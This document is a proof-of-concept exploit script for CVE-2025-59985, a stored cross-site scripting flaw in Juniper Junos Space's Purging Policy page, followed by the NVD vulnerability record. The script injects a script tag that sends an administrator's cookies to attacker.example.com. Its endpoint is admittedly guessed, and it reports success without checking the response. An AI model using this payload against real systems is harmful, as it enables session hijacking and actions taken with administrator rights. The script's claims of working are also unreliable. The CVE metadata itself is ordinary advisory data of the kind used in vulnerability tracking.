CVE-2025-59985

# CVE-2025-59985 - Juniper Junos Space Stored XSS PoC # Vulnerability: Stored XSS in Purging Policy page # Target: Junos Space versions before 24.1R4 import requests TARGET_URL = "https://target-junos-space.example.com" # The Purging Policy page endpoint (adjust based on actual Junos Space API) PURGE_POLICY_ENDPOINT = f"{TARGET_URL}/api/space/purge-policy" # Malicious JavaScript payload to inject via the vulnerable input field # This payload will be stored and executed when an admin views the page XSS_PAYLOAD = { "policyName": "<script>fetch('https://attacker.example.com/steal?cookie='+document.cookie)</script>", "description": "Normal policy description", "retentionDays": 30 } def inject_xss(): """ Step 1: Inject malicious script into the Purging Policy page. No authentication required to submit the malicious input. """ print("[*] Injecting XSS payload into Purging Policy page...") # Note: In a real scenario, the attacker may need to navigate to the # Purging Policy page and submit the form with the malicious input. # The lack of input sanitization allows script tag injection. response = requests.post( PURGE_POLICY_ENDPOINT, json=XSS_PAYLOAD, verify=False ) print(f"[*] Injection response status: {response.status_code}") print("[+] XSS payload stored successfully!") print("[+] Waiting for admin to view the Purging Policy page...") print("[+] When admin visits, the script will execute in their browser context.") if __name__ == "__main__": inject_xss() # Attack Flow: # 1. Attacker accesses Junos Space Purging Policy page (no auth required) # 2. Attacker enters <script> tag in the policy name or description field # 3. Malicious script is stored on the server # 4. Admin logs in and navigates to Purging Policy page # 5. Browser renders the stored script, executing it in admin's session # 6. Attacker's script can steal cookies, perform actions as admin, etc.

{"cve": {"id": "CVE-2025-59985", "sourceIdentifier": "[email protected]", "published": "2025-10-09T17:16:00.290", "lastModified": "2026-01-23T20:00:02.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Juniper Networks Junos Space allows an attacker to inject script tags in a field on the Purging Policy page that, when visited by another user, enables the attacker to execute commands with the target's permissions, including an administrator.This issue affects all versions of Junos Space before 24.1R4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.1", "matchCriteriaId": "2EC090A9-634B-4AA2-916F-7548AF71FF76"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:24.1:r1:*:*:*:*:*:*", "matchCriteriaId": "0566970C-0E9B-4566-9920-C7C436A4243D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:24.1:r2:*:*:*:*:*:*", "matchCriteriaId": "A2AA399D-5A7D-45B8-B774-D69054DFA4D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:24.1:r3:*:*:*:*:*:*", "matchCriteriaId": "57CC4E1A-23AA-4B4A-8690-5EEDCBEC4BBE"}]}]}], "references": [{"url": "https://supportportal.juniper.net/JSA103140", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}